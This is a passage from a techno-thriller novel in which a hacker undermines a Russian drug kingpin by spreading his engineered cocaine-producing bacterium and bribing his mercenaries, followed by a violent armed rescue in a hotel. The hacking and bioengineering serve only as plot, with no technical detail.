"I think the joke's on you," Danny replied.

Ivan snorted at him derisively. "Who are you? You are some kind of computer hacker man? You make trick with Interpol investigation on telephone, yes? It was something to do with you, I know. You think you so smart and sneaky, don't you?"

Danny shook his head in condescending pity. "You have no idea what you're up against."

"You acting very brave, is taking big balls for such weak man in such unfortunate position," Ivan leered into his face. "But I not afraid of you or your little tricks."

Danny kept eye contact with him and said, in a voice cold as steel, "You should be."

Ivan turned around dismissively and began saying a few words in Russian to the men around him.

Danny quickly interrupted him. "Don't bother!" he shouted confidently to the mercenaries. "Don't bother listening to him. He's finished. As of right now, he has no money and no power. He's not your boss anymore. He's about to become nothing but a poor, penniless old man."

The Russian kingpin stared at Danny through narrowed, wrinkly eyes. “You are such idiot,” he hissed. “You think that is all my money?” He pointed at the screen showing the bank balance. “That is the pocket change for me! That is one weekend gambling in Monaco! I have given away as a gift more than that! I owning four houses, two ships, and private jet plane, each one being worth more than that! You think you stealing this one account from me will be making me ‘penniless’? You are so stupid it is pathetic!”

“No,” Danny said slowly. “I’m not talking about the account. What I am talking about, Ivan, is your business ventures.”

The television flashed. The image flipped away from the split-screen display of the hacked bank account, and cut to a large pie chart artistically superimposed on a density-colored map of Russia and Eastern Europe. One small pink wedge of the chart was marked with a pin-up silhouette of a high-heeled woman, while a slightly larger steel-gray wedge was adorned with an image of a handgun. A brown slice bearing a picture of a hypodermic needle and a green slice bearing a hemp leaf added to the circle. But by far the largest wedge, taking up well over half the pie, was colored white, and was annotated with a photograph of a pile of powdered cocaine.

Under his breath, Danny whispered, “Thank you, Jason.”

On the Bluetooth earpiece, Jason replied, “Survive now. Thank me later.”

Ivan sneered at the screen. “What in Devil is that?”

“You know what this is, Ivan,” said Danny. “And so do your men. This is how much of your gross revenue comes from your various operations. A little bit from prostitution.” He bobbed his bloodied head at the women in the suite, a few of whom had wandered toward the living room out of curiosity when the bank account was displayed. “A little bit from arms trading.” He swept his free hand to gesture at the guns pointed at him from all angles. “But the vast majority of your total income comes, of course, from drugs. And among drugs, your single highest-grossing product happens to be cocaine.”

Ivan stared at Danny in angry bewilderment. “Who giving you this information?” he demanded. “Where coming from these numbers?”

In Danny’s ear, Jason quietly interjected, “From my ass.” Danny resisted laughing, and ignored Ivan’s question. It didn’t matter if the numbers were accurate or not.

“So, bearing in mind that your entire aggregated portfolio is only cash-flow positive because of cocaine,” Danny continued, “it appears that you, sir, have made...” He paused, which gave Jason a cue. The screen cut to a photograph of a test tube filled with pale brown goo, overlaid on top of the stylized “W”, the chemical symbol for the element tungsten, that served as the logo for Tungsten Medical Technologies. “...a very, very poor investment decision.”

“Yes, Tungsten company. You know so little,” Ivan scoffed. “You call Tungsten bad investment because of big debts to old investors? I call it best investment I ever make. Tungsten finish their job very, very good. Now I have no use for anymore. Their old investors can have them, I no more caring.” He slowly and proudly reached into his chest pocket and produced the small translucent smiley-faced Eppendorf vial. He held it smugly before him between his thumb and forefinger. “I have everything from them I needed.”

Danny let the old Russian relish his self-satisfaction for a moment before saying to him, “There’s something I’d like to show you. It’s inside this toolbox I’m carrying here. May I open it?”

Ivan spoke a few gruff words of Russian to a nearby bodyguard. The man marched up to Danny and yanked the metal box from his grasp. He set it down on the glass coffee table, keeping Danny close by. Ivan backed a good distance away, and the man cautiously unbuckled the clasps of the toolbox’s lid.

Under Danny’s instruction, the man retrieved the Tupperware bowl with the frosted sides.

He carefully opened it, and gazed within.

Slowly, the bodyguard drew from the bowl a small translucent Eppendorf vial filled with pale brown goo.

The other men crowded in to take a closer look. Their eyes shifted between the vial in Ivan's hand and the one held by their comrade. The mercenaries spoke in quiet, wary tones to one another. One of the others reached for the small plastic container.

"Go ahead," Danny said pleasantly. "Pass them around. I brought enough for everybody."

The second man put his hand into the Tupperware container, and pulled out another identical Eppendorf vial.

And another.

And another.

The proud, self-satisfied smirk on Ivan's face slowly sank as he watched his men — and the women too — milling around the Tupperware bowl. One by one, they each picked up and studied their very own replicas of Ivan's priceless tube.

"Bullshit! You full of bullshit!" Ivan spat. "You filling the cylinders with water from dirty toilet, and you pretending it is same thing as this one? You are sneaky piece of shit, hacker man! But we are not stupid. Those tubes you brought, they not real."

For a moment, Danny said nothing. The image on the television screen flipped to a carefully arranged photograph of the kitchen in Danny's own house. The pot filled with lysogeny broth sat prominently in the foreground, angled from the top to show its slimy, clumpy, rotting-looking contents. Next to it stood bottles of kerosene and acetone, alongside bowls and buckets encrusted on the inside with cocaine extraction by-products.

"They're completely real. You know they are," Danny said firmly. "They're cloned directly from that batch you're holding in your hand. That's why you had Tungsten create this bacterium in the first place, after all — to produce a source of cocaine that's portable, durable, and easily replaced. Well, guess what, Ivan? You wanted 'easily replaced'? You got it.

"You see, you're a trader, Ivan. A businessman. You think in terms of investments, rates of return, buy low, sell high, yaddah yaddah. You saw this genetic engineering project as a chance to establish vertical integration — a way to control your entire supply chain, without having to depend on third-party manufacturers in South America. It was a good idea, really — it would've allowed you to have lower margins than any other cocaine distributor in the entire world.

"But, Ivan, you've clearly never invested in technology before. And that is where, as a businessman, you might have wanted to think a little harder. Take it from me, Ivan. I've been in the tech industry my entire life. I've seen how it works from the inside out. From a business point of view, it has certain aspects that are, shall we say, counterintuitive.

“There’s a word for what you’ve done, Ivan. It’s called a ‘disruptive innovation’. It’s a creation whose very existence completely changes the marketplace — and once it’s created, the world is never the same.”

The screen filled with a collage of images: a printing press, a flint-lock firearm, a light bulb, a Model T Ford, an airplane, a nuclear explosion, an IBM mainframe computer, an iPhone. The photograph of the Eppendorf vial with the Tungsten logo floated to a corner.

“Here’s the thing about working in technology,” Danny said. “You never know where your own place will be in the new world order that you yourself usher in. To create a new technology, you have to become an expert in the tech leading up to it — but then, when you build something that surpasses the contemporary state of the art, you make your own expertise obsolete. The skills that you spend your entire life honing — and you, along with them — are rendered defunct by your own hand.

“And you might think that you, as the innovator, might have some kind of natural position of merit, some kind of intrinsic value. But you’d be wrong. Instead, you find yourself at a competitive disadvantage against younger, fresher minds — minds that are uncluttered by knowledge of the derelict systems that you had to learn in order to replace; minds that are unhindered by the assumptions of what is and isn’t possible that you yourself helped overturn; minds that are born into a world that took you decades of struggle to forge. The youth that follow will only know the world you have made for them; they will never know the world you

came from. The pinnacle of your achievements, the greatest heights to which you can climb, will for them be merely their starting point; they will take for granted your lifetime of work without ever understanding that there was a world before it. They'll use your own accomplishments to leave you in the dust. The world moves on — and it does so because you *make* it move on. Because, as a technologist, that's the whole point.

“Now, Ivan, would you like to see what the youth of today are doing with your accomplishments right this very minute? Take a look. You might find this... inspirational.”

On the television screen, the collage of inventions dimmed away.

In its place appeared a YouTube video page. The frame showed the t-shirted torso of a young man sitting at a desk in a dark room, with a laptop on one side and a metal bucket on the other. His face was hidden behind a pale mask bearing the smug, self-satisfied countenance of Guy Fawkes, the subversive mascot of the Anonymous hacker collective. The video's uploader handle identified him as “grieferator”. The video's title, “Got a present from rot13er!,” stretched across the top of the screen.

“So, check this crazy shit,” he said from behind the mustachioed mask. His energetic voice sounded in its late teens or early twenties. “My man rot13er dropped by this afternoon. He came over, said he’s making some deliveries, wants to spread some goodies around, right? So we hang out a little, drink a beer, talk about girls. You know, whatever. And then he pulls out this...”

The Fawkes-faced young man held up a goo-filled Eppendorf vial in front of the camera, making it fill the entire frame before putting it back down.

“So, obviously I’m like, ‘What’s that?’ He says, ‘It’s the next logical step for hackers. Hacking *computers* is retro. This is *bio*-hacking. This is hacking DNA.’ Well, at this point he’s got my attention, right? Turns out, the stuff in this tube is alive. It’s a micro-organism. Bacteria. And he gives me super detailed step-by-step instructions for how to grow it — like sea monkeys, kinda. He walks me through it. Says some girl from work taught him all about it. So we whip up a batch — it’s right here...” The pointy visage of Guy Fawkes gestured toward the bucket to his side. “...and he gives me a bunch of empty test tubes just like this and says, ‘Spread this stuff out to as many people as you possibly can, and do it *fast*.’ And I’m like, ‘Sure, man, rot13er. For you, no problem. But, like, what the hell is this stuff?’

Why’s it so important?’ And he points to the bucket and reaches into his bag and he says, ‘This... makes this...’”

The young man suddenly threw onto the desk a cellophane-wrapped brick of white powder.

“Now, that, ladies and gentlemen, is exactly what it looks like. And rot13er had like a dozen of them. That’s right, folks. This little tube of snot right here literally makes coke by the kilo.

“This is a straight-up game-changer, folks. You’re witnessing drug history in the making. This goop here turns the entire cocaine industry into a do-it-yourself project. Raising this stuff is so simple it’s sick. It’s easier than cooking your own meth. It’s easier than growing your own pot. It’s easier than brewing your own beer. And the results are so fucking good, you’d have to have your own island in Latin America to get anything even close.

“So, I’m calling out all my bros and sisters in the 206. rot13er wants this spread far and wide, and I couldn’t agree more. Get your butts over here to Casa Majestic. I’ll give you your own vial and show you what’s what. rot13er gave it to me, now I’m gonna give it to you. And then tomorrow you guys give it to others. And they’ll give it to others too. This shit’s about to go viral — pun intended. Even if you don’t indulge in the white stuff yourself, getting in on action like this is too good an opportunity to miss. The revolution’s already started, it’s up to you to be part of it. See you soon, guys. This is Majestic Madness, over and out.”

DOPAMINE

Underneath the video, the comments section of the page was abuzz with activity. The video had only been up for a few hours, and the comment count was already well into the quadruple digits.

@irsi_isund fool, I got the whole PiMPHaxx crew at my house right now. we'll know by morning. come on over see for yurself, send me ur cell # and wel'll meet f2f. don't blame you for being skepticle, but this is the real deal.

majesticmadness 8 minutes ago

HOLY SHIT NEAT!

wilcobox 12 minutes ago

FAKE AND GAY get a life homo. theres no way thats real. do u know what it wuld mean if it was? im in ur town. u want me to believe its real show me in person or gtfo.

irsi_isund 14 minutes ago

...me gusta!

youcancallmegoddess 16 minutes ago

Yo bro bring that shit to Philly, stat!

linkopteryx47 17 minutes ago

Guys, I'm a bioengineering PhD student and to everyone saying this is bullshit, it actually looks pretty legit. It's absolutely possible with the right resources. @majesticmadness I'm at UC Davis, send me a sample when you get a chance, I'll message you so we can set up a safe drop. My advisor will bust a nut over this.

monicapetrelli 18 minutes ago

Danny nodded smugly. “And it’s not just on YouTube, you know. It’s on Twitter, it’s on IRC, it’s being sent around on text messages. People are contacting each other and cloning that bacterial strain as we speak. It grows quickly, easily, and reliably — that is, after all, what you created it for. There’s probably about three dozen copies of that precious vial of yours floating around the city by now. In two days, there’ll be a thousand. In a week, there’ll be hundreds of thousands all across the country. You’ve created a living thing here, Ivan — in more ways than one. And do you know what a living thing does, by definition? It multiplies.

“So, Ivan, the question you need to ask yourself is: What will this do to the market value of cocaine? Your single most profitable product? The only product that keeps your entire empire in the black? Well, you’re a businessman. You do the math.”

The kingpin’s eyes flared open, the circles of his dark irises standing out starkly against the sclera. He butted past the lithe, wiry man holding the gun to Danny’s chest and grabbed Danny by the throat with one aging hand. “Undo this!” he snarled into Danny’s face.

Danny gave him a sweet, innocent smile. The weak pressure of the old man’s wrinkly fingers on his neck was rather unthreatening.

“I can’t!” Danny said lightly. “It’s way, way out of my hands. Don’t you understand? The propagation of your little germ there isn’t caused by me or my allies. It’s caused by the nature of the product itself. The ubiquitous distribution

of your creation was always going to happen anyway — I just made it happen sooner. Me, I'm just the... the catalyst. The enzyme. Ultimately, what you see on that screen there — the complete inversion of the drug market playing out right this very minute before our eyes — that's *your* doing, not mine.

“Isn't that what you wanted, Ivan? You set out to create a technology that you could use to liberate yourself from Columbian drug cartels. Well, guess what? Now that you've created it, that exact same technology can be used just as easily by anyone else to liberate themselves from *you*.

“The truth is, Ivan, you should be proud of yourself. I truly mean that, without any sarcasm or snide insinuation. Oh sure, as a businessman, this might be an unmitigated disaster, of course. But as a technologist... As a technologist, Ivan, what you've done is what people like me dream of doing for our entire lives. You've changed the world. In fact, you've changed it so thoroughly that you no longer even have a place in it. You've pushed the world so far forward that it's left you behind. You stand here now completely spent, having given to the world everything you have to offer. And now, all your talents, all your strength, all your efforts, everything that has enabled you to achieve this triumph — all of it, specifically because you've achieved it, is now useless. Obsolete and useless.

“And you know what the real irony of your situation is? Finding yourself obsolete and useless? That's *not* defeat. It's the exact opposite: it's how you know your mission's been accomplished. It's how you know you've achieved your own goals.

“Take it from me. You know what I was doing twenty-four hours ago? I was crying — literally crying! — about how fast the world had moved past me. I was overwhelmed by the impossibility of staying relevant in a field in which the very nature of your work is to make yourself obsolete — in which, by definition, the better you do, the more irrelevant you become. But you know what? That’s exactly the point! Becoming obsolete and useless isn’t a hallmark of failure; it’s the pinnacle of victory. When you’ve used yourself up... When you’ve rendered yourself pointless by your own hand... When you feel your knees buckle from fatigue and you collapse, exhausted and weak and old, onto the dusty path along which you’ve been pushing the world, and you watch it roll away from you, propelled forward by the momentum you had spent your life imparting to it with all the passion and stamina that you could muster, and you watch the world recede toward the horizon carrying the next generation onward to a future you’ve made possible and yet you will never see... ..Then! *Then* is when you can finally release your breath, when you can let your head drop down into the dirt with tears in your eyes and a smile on your lips, when you can finally rest; because *then* is when you know that you’ve succeeded.

“And, Ivan? You’ve succeeded.”

On the television screen beside them, a map of the Seattle metropolis appeared. It was sprinkled with a few dozen tiny copies of the picture of the Eppendorf vial. The icons were packed into clusters in the University District, on Capitol Hill, in Belltown, in Pioneer Square — all high-density neighborhoods of young, technologically savvy urban professionals. A new vial icon popped onto the

display in Fremont, then another on Beacon Hill, then another, then another. The map gradually zoomed out. Slowly, the icons began peppering West Seattle, then Lynnwood, then Burien, then Bellevue, then Redmond — and as Danny and Ivan and all the men and women in the room watched the screen, the little Eppendorf vials spread ever outward.

The screen faded to black, momentarily casting the room into darkness. Then, just as suddenly as they had gone out, the suite's recessed overhead lights flicked back to life. Ivan and his entourage blinked uncomfortably as their pupils adjusted.

With a confused and disoriented tone, one of the mercenaries mumbled something in Russian to a few of his colleagues standing nearby. One of them gave a brief reply.

Ivan furiously shouted something at both of them.

The men in the room looked silently back and forth between Ivan and each other. After a moment of tense stillness, one of them began asking Ivan a question. Ivan answered him with vicious screaming.

Danny calmly watched their interactions.

Ivan glared at him. Coldly, he hissed, “You will regret what you have done! If all of this... these ‘tricks’ of yours... are for making me scared, making me feel weak, you making the big mistake. If you thinking I would letting this... letting this crime against me... if I...”

Danny interrupted the Russian as he grasped for English words. “Actually, Ivan, I really don’t care what you think. These ‘tricks’ of mine, as you say... This presentation you just saw... Do you think *you* were the target audience? Do you think it was for *your* benefit? None of this was for you.” Danny slowly swept his arm around the room to gesture at the mercenaries and prostitutes of Ivan’s entourage. “It was for them.”

They all looked back at Danny with expressions that spread across a wide spectrum, from contempt to curiosity to simply being impressed by his gall. Some were clearly doing nothing more than waiting for Ivan to give the order to open fire, while others were eager to see what the evidently insane nerd would say or do next.

“What do you think, ladies and gentlemen?” Danny said to them in a voice of confidence and authority. “Do you think this guy is going to be a stable employer for much longer? Do you think he’ll still be able to take you on private jets to luxury hotels around the world a month from now? Hook you up with an endless supply of corporate perks? Pay for your health insurance package and a nice pension plan? Because, if you ask me, your prospects with this guy don’t look too promising.”

Danny whispered into his Bluetooth headset. By his command, the television flipped back to the website of Ivan's Estonian bank, displaying his payroll account.

"Now, as it so happens, I have an alternate proposal for all of you," Danny continued. "You see the balance shown on that screen? Ivan might not think that's a lot, but... Well, I know I sure as hell wouldn't mind having that much in 'pocket change'. And Ivan might brag about his houses and jets and yachts now, but very soon he's going to regard a wad of cash like this as nothing but a fond memory. So Ivan's opinion is irrelevant. I didn't come here to negotiate with him. I came here to negotiate with *you*."

"So, here's my deal. You guys will bring Sergey's daughter to me, unharmed. I will leave with her. None of you will follow us. And as soon as she and I are away from this hotel, my colleagues and I will take the money in this account and divide it up between each of you equally. We'll transfer it to your own personal bank accounts directly, the moment she and I are at a safe distance."

"Count how many of you are in this room. Look at the numbers on the screen. Do the math."

"And as you consider my offer, bear something in mind. Each of you will only receive this money if both the girl and I walk out of here alive. If any one of you chooses to shoot me, you will not only be losing the cash for yourself; you will also be losing the cash for every one of your colleagues. Look around you. Decide

whether or not that seems like a good idea.” Danny chose a soldier at random, looked him in the eye, and asked “What do you think?” He pivoted toward another and repeated, “What do *you* think?” He turned to face the lithe man with the shark-like smile holding the gun to him. “What about you?”

The wiry man said nothing. He merely gazed at Danny with a menacing grin.

Danny returned his stare with one of calm expectancy. With the man’s gun pointed at his chest, Danny spread his arms out and gave a slight shrug. “Well?”

The man’s thin brows twitched into a furrow. From somewhere beneath the sadistic grin, the man’s face bore a look of confusion.

He didn’t shoot. Instead, he looked quizzically at Ivan.

Ivan yelled something in Russian at him.

One of the other mercenaries in the room reluctantly spoke up. He said something in a hesitant, cautious tone.

Ivan erupted in a torrent of sharp words. He railed at the hesitant speaker and at the other men in the room. His nostrils flared and spittle flew from his lips as he yelled.

In an instant, by an order from Ivan, a few of the men turned their guns away from Danny. They pointed them instead at the man who had spoken out.

Taken by surprise, the man raised his arms and said something quick and apologetic.

Another man in the group said something to one of the bodyguards holding their guns on the speaker. The two began to argue. Their guns swung to point at one another.

There was more arguing, more shouting, more tense discussion and hasty negotiation. More guns pivoted away from Danny and turned to bear down on each others' wielders.

Ivan screamed hoarsely to restore order. He was ignored.

Outside, beyond the scuffle, the doors to the suite's balcony hung open. There, amidst the cool night air, a faint hint of motion caught Danny's attention. In the moonlit darkness, a long, thin black cord of nylon rope dropped onto the balcony floor from somewhere above, so silent and discreet that the arguing mercenaries failed to notice. The outline of a man's helmeted head, suspended upside down, peeked surreptitiously from the top of the doorway. It slowly descended, followed by the man's shoulders.

The figure hanging inverted above the balcony stretched an arm out toward the room. In its hand was a small silver snub-nose revolver.

A low boom thundered through the suite, as though the room had been suddenly plunged into a thick ocean of liquid air. The television on the wall rattled in its moorings. The curtains of the windows by the balcony billowed away from the blast.

One of the men on the periphery of the standoff crumpled to the floor. A dark, wet, viscous slurry of organic matter began pouring from his side. A corner of his rib cage was missing. He stumbled and twitched for a few moments, trying to grab nearby pieces of furniture to pick himself back up; his wound exposed muscles in his torso, which visibly contracted and slid against one another in his struggle. His efforts didn't last long.

Still hanging upside-down from the rope, Eugene righted his arm from the recoil and began sweeping toward a second target.

Men and women dove for cover in all directions, ducking behind furniture or hiding around corners.

Three of the mercenaries stood their ground and opened fire in the general direction of the balcony, shaking the room with a syncopated rhythm of gunshots. Eugene deftly pulled himself upward, out of the reach of their bullets. They rushed out onto the balcony to try to get better angles for their lines of fire. With their guns pointed upward, they burst through the balcony doors — and there, they hesitated for one split second as their pupils dilated and their eyes adjusted to the darkness.

That moment of hesitation, physiologically unavoidable, was all Eugene needed.

He swung his feet down and kicked one of the men squarely in the head, then dropped in behind him while the man was still disoriented and stumbling. Eugene's hand made a quick jabbing motion at the mercenary's neck. When the hand came away, Eugene's butterfly knife protruded from the man's throat. The mercenary gurgled and fell to his knees, pink foam frothing from his lips.

Before the other two soldiers could bring their guns to bear on the agile invader, two more shots rang out from Eugene's revolver. One man collapsed to the balcony floor.

The remaining bodyguard managed to get a handful of rounds off from his handgun, striking Eugene in the abdomen and chest. Eugene grunted in pain at the impacts and stumbled backwards from their force.

The hammer of the man's gun clicked hollowly against an empty chamber, his ammunition spent. He took a step toward Eugene, expecting to see him fall limp.

Instead, he heard the sound of the bullets, flattened and deformed into squashed mushroom-like shapes, ding like coins against the balcony floor.

Eugene glanced down for a moment at his body armor, taking stock of the slight dimples at the points where the bullets hit. Then his eyes rose back up to zero in on the remaining mercenary with a look of extreme displeasure.

There was a blur of motion involving Eugene rushing toward the man, and the man in turn raising his hands to his face and crying out. It ended with the man's body careening over the edge of the railing, his final screams falling away toward the ground far below.

Eugene quickly surveyed the wide balcony to ensure there were no more attackers outside in need of dispatching. He tilted his head to the side to crack his neck, and came over to his stabbed victim to retrieve the blood-soaked butterfly knife from the man's throat. The man wasn't quite dead yet, but he was unlikely to cause any further trouble.

What followed was an agonizing lull. Eugene knelt outside by the balcony doors, carefully calculating his best approach into the room. The mercenaries remained frozen in their hiding spots, each man trying to devise a strategy to eliminate the invader without getting himself killed in the process. For a few long, suffocating moments, there was no sound or motion, only still, tense silence.

From the other side of the suite, it was suddenly broken.

The cedarwood doors of the Presidential Suite crashed open. Sergey stood in the doorway, MAC-10 in hand, crouched behind his ballistic shield and looking out through its window slot. Behind him, in the antechamber, Leo took aim with the advanced scope of his spiny M4 carbine.

The mercenaries scrambled to find new defensive positions, realizing they were under siege from both flanks. Some began to shoot; their bullets deflected and bounced at unpredictable angles off of Sergey's shield, making high-pitched "*ploink!*" noises against the curved polycarbonate surface.

The wiry man who had held Danny at gunpoint was crouched near the glass coffee table in the sunken living room, trying to stay near Danny while keeping himself protected. Hearing the sudden commotion from the front of the suite, he quickly rose to try to find better cover. He turned as he looked around frantically, whipping his head in circles searching for someplace to hide.

At the exact moment he turned to face the front doorway, a low boom burst out from Leo's rifle.

Danny saw the vague impression of a black form zip through the air, like a lightning-fast shadow rather than a real object.

It slammed the shark-faced man in the chest. The projectile did not penetrate his body, but it knocked him forcefully back down into the red-carpeted living room. The man fell backward against the thick glass surface of the coffee table, knocking it off of its legs.

The toolbox and the towel-covered crystal bowl had still been on the coffee table since the start of the siege. With the table's glass slab top suddenly upended, the objects began to tumble to the floor.

But Danny didn't actually see or hear them land. For, in the instant that it took for them to drop, the thing that had struck the man's chest exploded.

It had come from the underslung M203 projectile launcher of Leo's rifle. It was black with a rubbery surface, shaped like a bullet but about the size of a pill bottle.

Its pyrotechnic formula was designed to throw no shrapnel and spout no flame. Instead, for a few quick milliseconds, it shone with six million candelas of light and rang out with a single acoustic shockwave of 170 decibels. For one imperceptible fraction of a second, it burned twice as bright as the sun and boomed louder than the roar of a jet engine.

It was a 40-millimeter spin-stabilized flash grenade.

And when it went off, Danny was looking at it.

THERE WAS A CRUSHING SENSATION as his body was slammed against a wall of solid sound. In a single instant, a hundred invisible fists punched him in the throat, the sternum, the ears, the eyes, and the gut all at once. The very air around him was trying to squeeze the life out of him.

And then, there was no gunfire. There were no men and women scrambling and screaming and diving to the floor, no bullets slicing through the air. There was no air, and there was no floor. There was no gravity, no up or down or sideways.

There was only the pale void — directionless, infinite, all-consuming. It was dark with an overwhelming invisible whiteness. It was silent with the cacophonous ringing of a single high, whining tone, pure and unyielding.

Danny couldn't tell how long he spent floating in that emptiness, blind and deaf and unable to balance. He knew it could only have been a few seconds at most, but within that senseless expanse, time didn't pass.

His nimble mind mused idly about photons and quantum-leaping electrons, about atmospheric pressure differentials and frequency discrimination and Fourier transforms. He thought about Tina — somehow, it gave him comfort to know that, even if he couldn't explain what was happening to him, she could. She would be able to tell him that the flash was designed to instantly burn through the entire active supply of photosensitive pigments in his retinal cells, making sight physiologically impossible until his rods and cones replenished their rhodopsin and photopsin proteins. She would tell him that the ringing in his ears was coming from damaged stereocilia fibers that got rattled to the point of breaking; and that the sudden silence was the result of a protective mechanism called the “stapedius reflex”, which caused the tiny bones in his middle ears to tense up into a tight huddle to prevent them from conducting any more potentially harmful sound to his inner ear.

The flash grenade was a nonlethal munition, but it was unmistakably a weapon — an energy weapon. It was a perfectly crafted attack against the human body's sensory systems, exploiting overflow vulnerabilities in its acoustic and electromagnetic transduction machinery.

Danny suddenly realized that he now knew exactly what it was like to be an electronic device getting hit by a pulse from his HERF gun.

Formless ripples danced in the periphery of the white nothingness. The vague visual impression of motion began to return, far ahead of the ability to discern what exactly was moving. Shimmering ghosts started to coalesce into shadows, forming distinct regions of light and darkness. Colors and hues, pale and washed-out at first, slowly re-saturated in the milky emptiness before Danny's eyes.

He saw a large, dark shape rushing at him out of the snowy void.

Danny tried to dodge the oncoming blur, but he was too unbalanced to turn and move. Before he could choose a direction of escape, the shadow was upon him.

He felt his body suddenly pressed against a thick, bulky, muscular torso clad in plate-reinforced bulletproof padding, like the chest of a charging bull dressed for battle. A strong, meaty arm snaked around his ribcage and grabbed him under his armpit. The dark figure pulled Danny off of his unsteady feet and began dragging him across the unseen room. Danny reflexively mounted a confused, disoriented

protest, but his struggles against the massive figure were weak and ineffectual. His heels swept along the floor as the shadow hauled him bodily to a destination unknown.

Beneath the steady tone in his ears, he heard the faint tinny chatter of many voices. Their vocalizations sounded more like buzzing than like speech, but he was able to infer their words. They were calling his name. “Danny! Danny, are you okay?” “Danny, talk to us!” “Jesus Christ, Danny, what’s going on?” He felt their vibrations directly on the skin of his ear, and realized that they were coming from his Bluetooth headset.

From the other side of the dark figure, there came high-pitched plinks of bullets ricocheting off of reinforced polymer, sounding soft and muted in Danny’s ears. Somewhere off to his flank, the periodic *rat-tat-tat!* of fully-automatic gunfire cracked through the air, low and muffled as though heard from underwater. As the large figure dragged him through the room, the bursts grew closer. His nostrils filled with the acrid, metallic smell of burnt gunpowder.

The texture of the light and shadows around him changed abruptly just as he regained the ability to see lines and forms. He recognized the rectangular shape and rich brown color of the cedar door as it passed by. A silhouette of an armored and helmeted fighter crouched beside it; through fuzzy, spotty vision, Danny could see him taking careful aim into the suite with a highly accessorized rifle.

Danny blinked hard, trying to clear the clouds of mist from his sight. His eyes hurt with a dull burning ache, like sore, fatigued muscles. The antechamber just outside the Presidential Suite came into focus. He found himself near the elevator, opposite from the cedarwood doorway leading into the suite.

The dark figure set Danny on his feet. Danny steadied himself and looked up.

He saw, looking back into his eyes, the helmet-covered face of Sergey Mukhayev. The large armor-clad man pushed Danny toward the door to the emergency stairwell, underneath a glowing red “Exit” sign.

And he heard Sergey’s voice, through the helmet, through the gunfire, through the ringing, yell, “Go!”

Danny tried to say something. He found his throat too dry and constricted to speak. When he opened his mouth, his temples felt like they were being squeezed in a vise.

At the doorway, Leo suddenly shouted something in Russian and began backing away from the entrance. Inside the suite, Ivan’s men were slowly closing in on him, using furniture and the room’s geometry to give them cover. They moved along opposite walls, trying to flank him. Leo turned rapidly back and forth to spray them with suppression fire, littering the ground with spent shell casings in his efforts to hold them back. But every time he turned toward one man, another would use the opening to advance steadily on his position.

Sergey spun back toward the door and swung his MAC-10 toward the entryway. He charged away from Danny, bounding forward behind his shield; the floor of the antechamber seemed to shake with his wide, heavy footfalls. With Leo covering his side, Sergey rushed into the room, fighting against the force of the bullets slamming into his shield. The room's defenders fled for their lives.

For the first time in what felt like minutes, Danny took a breath. His head and throat still hurt with a squeezing pain, but he found himself able to see and walk and think again.

He suddenly realized that Sergey's command to him was probably a very good idea.

Danny took one look at the emergency exit door and pushed both palms against its crash bar. The heavy metal barrier whooshed open into the dim, echoing stairwell. He stepped quickly onto the concrete landing and pressed the door shut behind him. The sounds of combat — of gunfire, of men and women running and shouting — continued just outside.

The buzzing chatter in his ear had never abated. But after a few seconds in the stairwell, with the fire door muffling the din of battle, the noises coming out of his Bluetooth headset finally began to form coherent speech.

"Danny!" a woman's voice said in the earpiece. "Danny, come in! Please, please come in!" It was Tina.

“I’m here,” he replied. He had to take several seconds just to clear his throat.

“God, am I glad to hear you.”

“Are you alright?” Tina asked urgently.

Bright greenish-yellow spots still danced before his eyes. His ears still overlaid the world with a loud, smooth, high-pitched whine. “I’m not sure,” he said honestly.

“I’ve put Sergey’s crew on their own comm channel,” she said. “What’s happening over there?”

Safely separated from the danger, Danny suddenly felt exhausted. Stairs from this landing ran both upwards to the roof, and down through all the floors towards the maintenance corridor on the ground level and the parking garage below. He sat down on a step and listened to the screaming and the gunfire. The atonal chime of shattering glass accented the cacophony. “Madness,” he said dryly.

Jason spoke on the channel. “Danny, for God’s sake, get your ass out of there. It’s up to Sergey and his guys now. Our part is over.”

He took a deep breath. There was no pain this time. “I should stay in case Sergey needs help, shouldn’t I...?”

Jason laughed. “They’re trained warriors in the middle of armed combat, Danny. If *he* needs help, what good do you think *you* could do?”

Danny paused dumbly. “Good point.” He took a moment to shake the tension out of his muscles, to clear himself of the fear and bravado. A wave of contentment washed over him from the mere knowledge that he had survived. He closed his eyes and watched the blobs of color slowly fade from his sight.

“I’m on my way, Jason,” he said with a sigh, and stood up. “I’ll swing down to the security office to grab my HERF gun, then come meet you aboard your yacht. Be there in a few minutes.”

As warfare raged on the other side of the thick metal fire door, Danny headed toward the descending stairs. He proceeded down one step, then another, then another, peacefully walking away, leaving the bloodshed and brutality behind him.

He was barely one flight down when he heard the door crash open above him.

The tall, dim stairwell suddenly filled with the *rat-tat-tat!* of automatic rifle blasts and the dings of casings on concrete. The smooth, unadorned walls conducted the sound down the full height of the building, sending echoes reflecting back up from unseen depths.

Danny screamed and ducked.

His scream was answered by a burst of rounds aimed in his general direction. Bullets slammed into the walls and floor near him, chipping and scarring the concrete.

Footsteps shuffled rapidly down toward him. Combat boots descended the steps, followed by the muzzle of an M4 carbine.

The helmeted head of Leo the gunman peered down from the steps above.

“What in the hell are you still doing here?” Leo said.

“What are *you* doing here?” Danny, cowering by the corner of the stair railing, shrieked in reply.

Leo shuffled downward. “There were more of them upstairs!” he shouted as he moved, keeping his eyes and rifle trained on the door above.

He limped as he walked. His leg was bleeding badly.

The report of a handgun boomed through the stairwell. A bullet struck Leo’s side with a sharp, quick smack. His armor stopped it from piercing his body, but the impact knocked him off his feet. He tumbled down the last few steps, falling hard on his back on a mid-floor landing. Lying supine, he swung his rifle toward the door, fired off a few rounds, and scrambled back upright. “Get out of here!” he yelled at Danny.

Danny hastily complied. He bolted upright from his crouch, and set his legs in motion down the stairs.

Gravity did most of the work for him. His body fell forward on its own; he just had to keep his feet moving to catch himself on each step. His ribs and shoulders jostled sloppily in a rough, break-neck rhythm. He kept one hand on the railing for balance, sliding it limply along the smooth metal. The flights melted into a whizzing blur before his eyes — a rapidly shifting kaleidoscope of gray stairs, of black railing, of dim yellowish emergency lights encased inside wire cages, of water pipes and fire alarms and unmarked doors.

Behind him, footsteps echoed — the asymmetrical, injured footsteps of Leo only a couple floors away, and another set of footsteps somewhere farther behind him. The sounds of running were accompanied by the rattle of Leo's rifle and the bang of a handgun above, answering one another like a fiery debate cast in brass and nitrocellulose.

The voice of Moshen twanged in the earpiece. "What the fuck! Danny, is that you?"

"Is what me?" He had lost track of which floor he was on.

